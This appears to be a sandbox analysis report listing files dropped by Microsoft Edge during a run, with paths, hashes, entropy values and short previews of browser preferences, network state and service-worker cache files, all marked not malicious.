SSDEEP:	24:YcCp/WRdsyEyZVMdmwC5mWRdsXZFRudFGRw6ma3yeesw6C1VdsyyZFGJ/I3w6maF:YcCpWs6uCvsJfc7leeBRsfgCgkhYhbw
MD5:	DAA6689D48F0E63BF12DE0B533E61307
SHA1:	4B096964F1AC28CCA273B7646F77FE5D6B963857
SHA-256:	8F0EDE645B73265FDE1459410F1F22D48DF47486B88463173E6DD01525D87AA1
SHA-512:	58F153D53A680BAC9A918ED1AA9E91FAF26E194135C1DB35CF71FBA045061A1ECD83AC80C0A3C54E7584F37EE90FF54B4C20CB06A6DB246F9B0F03859D467F46
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561982935006","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561983636053","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3b4ab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.300219280553516
Encrypted:	false
SSDEEP:	24:YcCp/WRdsyEyZVMdmwC5mWRdsXZFRudFGRw6ma3yeesw6C1VdsyyZFGJ/I3w6maF:YcCpWs6uCvsJfc7leeBRsfgCgkhYhbw
MD5:	DAA6689D48F0E63BF12DE0B533E61307
SHA1:	4B096964F1AC28CCA273B7646F77FE5D6B963857
SHA-256:	8F0EDE645B73265FDE1459410F1F22D48DF47486B88463173E6DD01525D87AA1
SHA-512:	58F153D53A680BAC9A918ED1AA9E91FAF26E194135C1DB35CF71FBA045061A1ECD83AC80C0A3C54E7584F37EE90FF54B4C20CB06A6DB246F9B0F03859D467F46
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561982935006","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561983636053","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3796372771042544
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS6sajlGFh5yMPNZw1a:ifIEumQv8m1ccnvS6saKy+Zr
MD5:	062DC16EB3F5C2A4D3F929B3BD9FEEF3
SHA1:	9D9CC6D96C2210A9C511CEB7615793795A21B7C1
SHA-256:	BA24C088CCBF4A66BBDEB4DE331AB40272099A02E19B74A89E4D56E1C6FD5E3E
SHA-512:	5A1702F6EFC9D3C98A71189ACC908A434D0D06DF5662979775330525CCECFE04CC7DF259990AB3EAE8629B75D3D64EC08BEA7C06BC480C4676C27DD7268CA37A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a4b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2b53c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c1df121d-35f1-4eed-bc01-02fdb92edee4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12374
Entropy (8bit):	5.196782822221734
Encrypted:	false
SSDEEP:	192:stkJ99QTryDigabatSuypKse09IJZVkysOG4z8hbV+Fs4QAjPeLPQUYJ:stkPGKSu4Ksr9iZPqbGfQeh
MD5:	424E39109D52B865A94BA54EE0AFC832
SHA1:	5C433DCE7B5E8C82713CA7D78F24B6C956F2FF6B
SHA-256:	C61C27089A1AB9082B2CD3AF77A964E75FE3BD10AB552CEF37F390B707254F7C
SHA-512:	D8F44CB03F02AC68CF66FA1EF6A1D71F3F72AF60C725AABE80D9C48F010040B13DA91F1748A9B1D7CEF0911DF0FBF6661961D7D652C4119CD199B54C3E1CF49A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2e2f3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12374
Entropy (8bit):	5.196782822221734
Encrypted:	false
SSDEEP:	192:stkJ99QTryDigabatSuypKse09IJZVkysOG4z8hbV+Fs4QAjPeLPQUYJ:stkPGKSu4Ksr9iZPqbGfQeh
MD5:	424E39109D52B865A94BA54EE0AFC832
SHA1:	5C433DCE7B5E8C82713CA7D78F24B6C956F2FF6B
SHA-256:	C61C27089A1AB9082B2CD3AF77A964E75FE3BD10AB552CEF37F390B707254F7C
SHA-512:	D8F44CB03F02AC68CF66FA1EF6A1D71F3F72AF60C725AABE80D9C48F010040B13DA91F1748A9B1D7CEF0911DF0FBF6661961D7D652C4119CD199B54C3E1CF49A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF32fbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12374
Entropy (8bit):	5.196782822221734
Encrypted:	false
SSDEEP:	192:stkJ99QTryDigabatSuypKse09IJZVkysOG4z8hbV+Fs4QAjPeLPQUYJ:stkPGKSu4Ksr9iZPqbGfQeh
MD5:	424E39109D52B865A94BA54EE0AFC832
SHA1:	5C433DCE7B5E8C82713CA7D78F24B6C956F2FF6B
SHA-256:	C61C27089A1AB9082B2CD3AF77A964E75FE3BD10AB552CEF37F390B707254F7C
SHA-512:	D8F44CB03F02AC68CF66FA1EF6A1D71F3F72AF60C725AABE80D9C48F010040B13DA91F1748A9B1D7CEF0911DF0FBF6661961D7D652C4119CD199B54C3E1CF49A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a49e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12374
Entropy (8bit):	5.196782822221734
Encrypted:	false
SSDEEP:	192:stkJ99QTryDigabatSuypKse09IJZVkysOG4z8hbV+Fs4QAjPeLPQUYJ:stkPGKSu4Ksr9iZPqbGfQeh
MD5:	424E39109D52B865A94BA54EE0AFC832
SHA1:	5C433DCE7B5E8C82713CA7D78F24B6C956F2FF6B
SHA-256:	C61C27089A1AB9082B2CD3AF77A964E75FE3BD10AB552CEF37F390B707254F7C
SHA-512:	D8F44CB03F02AC68CF66FA1EF6A1D71F3F72AF60C725AABE80D9C48F010040B13DA91F1748A9B1D7CEF0911DF0FBF6661961D7D652C4119CD199B54C3E1CF49A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561187520793134
Encrypted:	false
SSDEEP:	768:q1BmtZ7pLGLpjdWPWEff48F1+UoAYDCx9Tuqh0VfUC9xbog/OVf8AnvE9rwg4NA2:q1BmtvcpjdWPWEff4u1jae8AvEGg4NA2
MD5:	D545D3DFF219ADB23DFCD7C9FB45F289
SHA1:	3C34794651017071EB219B5CCF8BE1363FB7BE19
SHA-256:	3B5A236F49536296BAC5A019978713E4AFA9A6CCD42F1DE4721B759E019DBF9E
SHA-512:	B30EA3E455A4CC9A910F70C051F6DD6902772E47608B0A55CDFFE21FC430CAB44A2993F2B22A4D886A3490BA40D181C3B0C3ADA5473D5E5E637624EB7DB2F176
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376413010682352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376413010682352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3036c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561187520793134
Encrypted:	false
SSDEEP:	768:q1BmtZ7pLGLpjdWPWEff48F1+UoAYDCx9Tuqh0VfUC9xbog/OVf8AnvE9rwg4NA2:q1BmtvcpjdWPWEff4u1jae8AvEGg4NA2
MD5:	D545D3DFF219ADB23DFCD7C9FB45F289
SHA1:	3C34794651017071EB219B5CCF8BE1363FB7BE19
SHA-256:	3B5A236F49536296BAC5A019978713E4AFA9A6CCD42F1DE4721B759E019DBF9E
SHA-512:	B30EA3E455A4CC9A910F70C051F6DD6902772E47608B0A55CDFFE21FC430CAB44A2993F2B22A4D886A3490BA40D181C3B0C3ADA5473D5E5E637624EB7DB2F176
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376413010682352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376413010682352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.830553163498333
Encrypted:	false
SSDEEP:	48:F2em3trdDefBZXrd6NgtnrdDBBj+rdOBI:F1m3txDerx6NgtnxDH+xv
MD5:	EB0A81C6CBC7CC09118613AC93619A65
SHA1:	1CA1E979FD916BBB0FD22160C4A720CAAF9361E4
SHA-256:	FDEC9B79E700F201983FF6A79D8D0174762D1FF9D98D4E4FFB380D96943D3CB4
SHA-512:	BB21BBA2E1C8E6640D1B2E983213740588D0676C07D6C4C92844A88C424C40B9B4B4A322141F6A2718A7848E92590B0E8624E18F8E959F4353474F20B96A5190
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2EH..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.13292639345581
Encrypted:	false
SSDEEP:	6:HUOur5UZM1qLTwi23oH+TcwtE/a252KLlVUOur5Woq2PqLTwi23oH+TcwtE/a2Zh:a0lwZYeb8xLCAov8wZYeb8J2FUv
MD5:	DF31C377B302F84E1BE4D42D74809F89
SHA1:	31DA1D41A7C52129CFFB8A780D8B227A95CF88C1
SHA-256:	507C66AA5D108664724AFAF3B0307412513B51BEB3AF94890F607DE2B9C47542
SHA-512:	3BD954AE54CA3B35735FC46E0430D4E77BAA98148D173E484BA2AA3286F13E617931D8A76651F03BFCD4B139591C1EC876D7C7A3B1B7A5C0321DA8F2D8BD1ACE
Malicious:	false
Preview:	2024/11/18-09:17:06.148 19a4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/18-09:17:06.161 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114471
Entropy (8bit):	5.579390683094371
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqhF:d9LyxPXfOxr1lMe1nL/CL/TXEmilRj
MD5:	D25E3E45C84427D219CB2A2161D7672F
SHA1:	15B1C8894E7FD8601CFE1EFF12E9010344BF64CA
SHA-256:	D575C73B9E9D2AFC4D317A810A9EC7DD1EDAB856EB0749DCCD4EDF3D42158424
SHA-512:	4516BB2FA8D934C1CA78D9588D1DB1E8400A373C236609E73AC263964654B7ED31E5383BF9C597771CB5CAB3758220F818856D5A80926FFEB2168D8F7A44139D
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188977
Entropy (8bit):	6.387264061479045
Encrypted:	false
SSDEEP:	3072:aXc0ybBQZ1mwPvGDV/L/em/MQT3Okx7kehIxz3ai:amwGDxL/D/bT1xPhYn
MD5:	BEB8FA507B6B296EBB3F01B8238D77CE
SHA1:	ED4D3EAE0A2B0F4BA5B788B6C84AEDEFEE381FFA
SHA-256:	9F5330C0811C07F08AAA3DBCBA6C4B97ABD67A327DA0E61142A6AC5C576A5935
